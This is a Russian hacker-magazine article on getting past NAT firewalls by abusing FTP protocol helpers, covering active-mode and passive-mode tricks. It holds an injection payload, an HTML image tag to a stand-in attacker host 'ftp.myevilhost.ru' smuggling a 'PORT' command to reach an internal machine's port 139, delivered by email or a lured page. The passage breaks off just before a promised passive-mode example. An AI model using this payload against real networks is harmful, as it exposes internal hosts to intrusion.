АТАКА проходим сквозь фаерволл GREEN (green@rootshell.ru) Спецвыпуск Xakep, номер #024, стр. 024-018-3 ОБХОДИМ NAT NAT расшифровывается как Network Address Translation. Общий принцип работы заключается в перехвате пакетов, посланных из внутренней сети фаерволлом и подмене внутренних адресов на внешние, при этом составляется табличка соответствия между парой внешний (подставленный) IP, внешний (подставленный) порт и внутренний (изначальный) IP и порт. Когда на отправленный запрос приходит ответ, по адресу и порту фаерволл выясняет, куда необходимо отправить этот ответ во внутренней сети, еще раз подменяет IP и порт и отправляет пакет внутрь. Такая схема работы не требует специальной настройки клиентских программ и полностью для них прозрачна (то есть клиентам вообще по барабану, есть фаерволл или его нет), а потому очень популярна. На самом деле такая "прозрачность" легко осуществима только для простых протоколов, которым достаточно одного соединения типа HTTP. С более сложными протоколами, например FTP, все обстоит гораздо сложнее. При работе по FTP-протоколу открывается так называемое управляющее соединение, по этому соединению сервер и клиент обмениваются командами и ответами на команды. Когда необходимо передать файл или другие, не управляющие, данные, открывается еще одно соединение, по которому данные и передаются. Причем открытие соединения осуществляется со стороны сервера на адрес и порт, указанные клиентом. Чтобы такие сложные последовательности работали через NAT, в него обычно встраиваются специальные хелперы для определенных протоколов (обычно протоколы определяются по портам), которые обрабатывают управляющие команды протоколов и подменяют, если это необходимо, адреса не только в пакетах, но и в командах внутри пакетов. Поскольку, согласно протоколу, клиент передает не только адрес для соединения, но и порт, это открывает нам возможность обратиться практически к любым портам машин, находящихся за фаерволлом с включенным NAT и поддержкой active ftp соединений. К примеру, можно послать внутрь такого рода сети письмо, содержащее html тег <IMG SRC="ftp://ftp.myevilhost.ru/aaaaa%0d%0aPORT 1,2,3,4,0,139"> либо убедить юзера из той сети зайти на html-страничку с таким тегом и запустить на ftp.myevilhost.ru специальным образом пропатченный FTP-сервер, который не будет открывать по указанному адресу/порту соединение, а просто запомнит адрес и порт. В таком случае, с точки зрения NAT, клиент посылает такую последовательность контрольных команд: RETR aaaaa PORT 1,2,3,4,0,139 После необходимой подмены ftp серверу приходит пакет с настоящим IP-адресом и портом, при коннекте на который на самом деле соединение будет установлено со 139-м портом внутреннего компа. Естественно, можно использовать не только 139-й, но и любой другой. Помимо ftp подобными же свойствами обладают протоколы DCC (в irc), Oracle SQL*Net (версия, использующая раздельные каналы данных), RealAudio/Video (использует дополнительный UDP-канал), H.323 (NеtMeeting и тому подобные). ЭКТИВ? ПЭССИВ! Очень похожий глюк можно использовать и против ftp сервера, находящегося за фаерволлом и работающего в passive режиме. В данном случае фаерволл следит за сообщениями сервера в поисках 227-го кода ответа, который выглядит как "227 (1,2,3,4,10,11)", что расшифровывается как положительный ответ на команду PASV для открытия соединения для передачи данных с сервером 1.2.3.4, порт 2571 (10*256+11). Наша задача - заставить ftp-сервер выдать такой ответ, а фаерволл - его принять. Один из способов это проделать - добиться, чтобы переданные нами данные были возвращены сервером (например, как сообщение об ошибке), а 227-й ответ начинался на границе пакета. Тогда с точки зрения фаерволла это будет выглядеть, как вполне нормальный ответ сервера, и доступ по указанному порту будет открыт (само собой, по этому порту будет что-то нам интересное). Для удобства контроля за расположением данных в пакете мы уменьшим MTU на интерфейсе, через который мы посылаем данные до 100 байт. (MTU - максимальный размер пакета, который может передаваться через интерфейс). Вот как это может выглядеть (ftp-сервер находится по адресу 172.16.0.2): |